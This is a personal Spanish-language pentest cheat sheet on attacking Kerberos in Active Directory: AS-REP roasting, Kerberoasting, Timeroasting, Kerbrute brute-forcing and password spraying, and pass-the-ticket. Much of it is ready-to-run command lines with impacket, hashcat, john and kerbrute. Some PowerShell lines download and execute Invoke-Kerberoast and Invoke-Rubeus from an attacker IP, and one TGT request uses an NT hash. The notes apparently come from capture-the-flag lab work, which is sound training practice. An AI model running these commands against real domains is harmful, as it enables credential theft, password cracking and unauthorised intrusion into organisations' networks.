M0B Notes

#kerberos #asreproast #kerberoasting #timeroast #kerbrute #wordlist #ActiveDirectory #pentestinterno

AsREPRoast ​

bash
impacket-GetNPUsers DOMAIN/ -no-pass -usersfile users

Para cuando peta

bash
impacket-GetNPUsers DOMAIN/ -no-pass -usersfile users -dc-ip IP

La opción "UF DONT REQUIRE PREAUTH" se refiere a un atributo que puede aparecer en el contexto de Active Directory y su implementación de Kerberos. Este atributo es una marca de usuario (user flag) que se establece en una cuenta de usuario para indicar que la cuenta no requiere preautenticación Kerberos.

Explicación de "Preauthentication" en Kerberos ​

En el protocolo Kerberos, la preautenticación es un mecanismo de seguridad en el cual un usuario debe probar su identidad antes de que el servidor de autenticación (el KDC, o Key Distribution Center) le envíe un ticket. Esto se hace para evitar ataques como el replay attack, donde un atacante podría interceptar y reutilizar un ticket válido de otra persona.

Cuando una cuenta tiene la preautenticación habilitada, el KDC requiere que el usuario o cliente demuestre su identidad antes de emitir un Ticket Granting Ticket (TGT). Si la preautenticación está deshabilitada, el KDC no verificará esta etapa antes de emitir un TGT, lo que hace que la cuenta sea potencialmente más vulnerable a ciertos tipos de ataques.

¿Qué significa "UF DONT REQUIRE PREAUTH"? ​

  • UF: Hace referencia a las User Flags en Active Directory. Estas son marcas o configuraciones asociadas a las cuentas de usuario para modificar su comportamiento en el sistema.

  • DONT REQUIRE PREAUTH: Esta bandera indica que la cuenta de usuario no requiere preautenticación Kerberos. Esto significa que el KDC no verificará la identidad del usuario antes de emitir un TGT para esa cuenta.

Implicaciones de "UF DONT REQUIRE PREAUTH" ​

  1. Mayor vulnerabilidad: Si un atacante obtiene el nombre de usuario de una cuenta con esta bandera habilitada, podría realizar un ataque de "Pass-the-Ticket" o "offline brute-force" sin la necesidad de realizar preautenticación. Esto puede ser peligroso, ya que el atacante puede intentar obtener o reutilizar tickets de autenticación sin tener que pasar por la fase de preautenticación, que es una barrera de seguridad importante.

  2. Cuentas de servicio o cuentas de usuarios especiales: Esta bandera es a menudo utilizada en cuentas de servicios o en situaciones donde la preautenticación no es viable por alguna razón (por ejemplo, cuando los sistemas no pueden interactuar adecuadamente con el KDC para la preautenticación).

  3. Usado en casos de compatibilidad: Puede ser necesario deshabilitar la preautenticación en ciertos casos, como cuando hay software antiguo o sistemas que no pueden realizar la preautenticación Kerberos correctamente.

Resumen ​

El atributo "UF DONT REQUIRE PREAUTH" en una cuenta de usuario de Active Directory indica que dicha cuenta no requiere preautenticación Kerberos. Esto puede ser útil en ciertas situaciones técnicas, pero también representa un riesgo de seguridad, ya que facilita que un atacante pueda realizar ataques más fácilmente sin la barrera de la preautenticación. Es recomendable que las cuentas de usuario en un entorno de producción tengan la preautenticación habilitada para reducir riesgos de seguridad.

Kerberoast ​

bash
impacket-GetUserSPNs DOMAIN/USER:PASS -request
bash
hashcat  -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force -m '13100'

A veces se peta y hay que indicarle el DC : KERBEROS

bash
impacket-GetUserSPNs DOMAIN/USER:PASS -request -k -dc-host DC.DOMAIN

A veces hay que sincronizar la IP con la del DC

bash
sudo ntpdate -u IP-DC

Si tenemos acceso a la máquina pero no a una contraseña ​

raw.githubusercontent.com/compwiz32/PowerShell/refs/heads/master/Get-SPN.ps1

bash
certutil -urlcache -f http://IP/Get-SPN.ps1 Get-SPN.ps1
bash
powershell -ExecutionPolicy Bypass -File Get-SPN.ps1

raw.githubusercontent.com/EmpireProject/Empire/refs/heads/master/data/module_source/credentials/Invoke-Kerberoast.ps1

powershell
IEX (New-Object Net.WebClient).DownloadString('http://IP/Invoke-Kerberoast.ps1')
Invoke-Kerberoast -OutputFormat hashcat
bash
cat hash.txt | tr -d ' ' | tr -d '\n' > hash_clean.txt
bash
john hash_clean.txt --wordlist=/usr/share/wordlists/rockyou.txt

Kerberoasting es una técnica de ataque utilizada en redes que emplean el protocolo de autenticación Kerberos, comúnmente en entornos Windows que utilizan Active Directory. Este ataque explota las debilidades en la forma en que Kerberos maneja los tickets de servicio, en particular los Service Tickets (TGS - Ticket Granting Service), para obtener las contraseñas de cuentas de servicio de la red.

¿Cómo funciona Kerberoasting? ​

  1. Identificación de servicios: En una red que usa Kerberos, los usuarios no solo interactúan con el controlador de dominio (KDC) para obtener un ticket para acceder a recursos, sino que también los servicios (como bases de datos, servidores web, etc.) tienen cuentas de servicio que también están registradas en Active Directory. Estas cuentas de servicio a menudo utilizan contraseñas débiles o fáciles de adivinar.

  2. Solicitar Service Tickets: Un atacante que tiene acceso al dominio y está autenticado (puede ser un usuario normal) puede solicitar un Service Ticket (TGS) para cualquiera de los servicios que están registrados en Active Directory. Estos Service Tickets contienen un hash de la contraseña de la cuenta de servicio asociada. Es importante destacar que estos Service Tickets están cifrados con la contraseña de la cuenta de servicio, pero el atacante no tiene acceso a la contraseña original.

  3. Captura de Service Tickets: Una vez que el atacante solicita estos tickets, los recibe del controlador de dominio. Estos tickets son almacenados de forma que el atacante puede extraerlos del tráfico de red o desde su propia caché de tickets Kerberos local.

  4. Ataque de descifrado: El atacante luego realiza un ataque de fuerza bruta o utiliza técnicas de diccionario para descifrar el ticket y obtener la contraseña de la cuenta de servicio. Como las contraseñas de servicio a menudo son débiles, esto puede ser relativamente fácil si se utilizan contraseñas predecibles o de bajo nivel de seguridad.

  5. Acceso a la cuenta de servicio: Una vez que el atacante tiene la contraseña de la cuenta de servicio, puede usarla para autenticarse como ese servicio, lo que puede proporcionar acceso a recursos sensibles, dependiendo de los privilegios de la cuenta de servicio.

Factores clave en Kerberoasting ​

  • Cuentas de servicio mal configuradas: Muchas veces, las cuentas de servicio en un entorno de Active Directory tienen contraseñas débiles o predeterminadas. Si un atacante consigue una cuenta de servicio comprometida, puede usarla para moverse lateralmente dentro de la red.

  • Sin necesidad de privilegios elevados: Este ataque se puede realizar con una cuenta de usuario estándar, sin necesidad de ser un administrador, lo que lo hace especialmente peligroso.

  • Ataque fuera de línea: El atacante no tiene que interactuar directamente con el servicio de destino. Después de obtener el ticket, puede intentar descifrarlo offline sin necesidad de estar constantemente conectado al servidor o al dominio.

Usamos el DC como servidor DNS y sincronizamos con su fecha para poder usar kerberos:

bash
cat /etc/resolve.conf

nameserver ip
bash
sudo ntpdate dc01.vintage.htb

TimeRoast ​

Domain-joined computers typically synchronize their clocks using the Network Time Protocol (NTP), with a Domain Controller (DC) acting as the time source. However, traditional NTP lacks authentication, making it vulnerable to man-in-the-middle (MitM) attacks where an adversary could spoof responses and manipulate the client’s system time.

To mitigate this risk, Microsoft implemented a proprietary extension to NTP that introduces cryptographic authentication. When a computer sends an NTP request, it includes its Relative Identifier (RID) in a special extension field. The Domain Controller responds by appending a Message Authentication Code (MAC) to the response, generated using the NTLM (MD4) hash of the computer account's password as the key.

Crucially, the client does not need to authenticate to the DC in order to make this request. It can simply specify any RID, and the DC will look up the corresponding computer account and generate a response using its password hash.

While this design addresses time spoofing concerns, it introduces a significant security side effect: unauthenticated clients can effectively request salted password hashes for any computer account in the domain. In theory, this isn't a concern if all computer passwords are long, random, and machine-generated — but that's not always true in practice.

Secura-WP-Timeroasting-v3.pdf

Unauthenticated Timeroasting -> SecuraBV/Timeroast: Timeroasting scripts by Tom Tervoort

bash
python3 timeroast.py IP-DC > timeroast_hashes.txt
bash
nxc ldap DC.DOMAIN -u 'USER' -p 'PASS' -k --computers | awk '{print $5}' | grep '\$' | tr -d '\$'| tr '[:upper:]' '[:lower:]' > timeroast_wordlist.txt

Pequeña wordlist con los nombres de los ordenadores:

bash
python3 timecrack.py ../timeroast_hashes.txt timeroast_wordlist.txt

Con hashcat , versión beta : hashcat-7.1.2

bash
sudo ./hashcat.bin -m 31300 timeroast_hashes.txt /usr/share/wordlists/rockyou.txt

KERBRUTE ​

bash
./kerbrute_linux_amd64 bruteuser -d DOMAIN --dc IP /usr/share/wordlists/rockyou.txt 'USERNAME' -v

./kerbrute_linux_amd64 passwordspray validUsers.txt PASS -d DOMAIN --dc IP
bash
./kerbrute_linux_amd64 userenum --dc IP -d DOMAIN possibleUsers.txt | awk '{print $7}' | grep '\@' | tr '\@' ' ' | awk '{print $1}' > validUsers.txt

Kerberos Password Spraying:

bash
awk '{print $0":"$0}' validUsers.txt  > combs.txt
bash
sudo ntpdate -u 10.10.11.75

./kerbrute_linux_amd64 bruteforce -d DOMAIN --dc combs.txt -t 1

Obtener un TGT , en este caso para estar autenticado en un equipo de un dominio || para estar autenticado como una cuenta de servicio

bash
impacket-getTGT  -dc-ip IP DOMAIN/FS01$:fs01

||

impacket-getTGT  -dc-ip IP DOMAIN/USER -hashes aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339

export KRB5CCNAME=FS01\$.ccache

Login kerberos ​

bash
sudo ntpdate DC  
impacket-getTGT DOMAIN/'USER':'PASS' -dc-ip DC  
export KRB5CCNAME=USER.ccache  

#Importante poner DC Y NO LA IP:
netexec smb DC -u 'USER' -p 'PASS' -k

Se puede probar también:

kinit  USER@DOMAIN
klist

Muchas veces no van cosas y actualizar /etc/krb5.conf :

config
[libdefaults]
	default_realm = FRIZZ.HTB

# The following krb5.conf variables are only for MIT Kerberos.
	kdc_timesync = 1
	ccache_type = 4
	forwardable = true
	proxiable = true
        rdns = false


# The following libdefaults parameters are only for Heimdal Kerberos.
	fcc-mit-ticketflags = true

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.firzz.htb
        default_domain = frizz.htb 
    }

[domain_realm]
    .frizz.htb = FRIZZ.HTB
    frizz.htb = FRIZZ.HTB

Utilizar usuario sin saber su contraseña: Pass The Ticket 🎫 ​

powershell
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.133/Invoke-Rubeus.ps1')
bash
Invoke-Rubeus tgtdeleg
bash
cat ticket_ryan.brooks.base64| tr -d '\n ' | base64 -d > ticket_ryan.brooks.txt
bash
impacket-ticketConverter ticket_ryan.brooks.txt ticket_ryan.brooks.ccache

Username Generator ​

https://github.com/urbanadventurer/username-anarchy.git

Username Wordlists ​

https://github.com/attackdebris/kerberos_enum_userlists.git

/usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt

Kerbrute wordlist ​

https://github.com/taleen98/Kerbrute-Wordlist/blob/main/allUsers.txt

LinkedIn2Username ​

https://github.com/initstring/linkedin2username.git

Notas personales de seguridad ofensiva.

Darío Pérez Ballesteros — M0B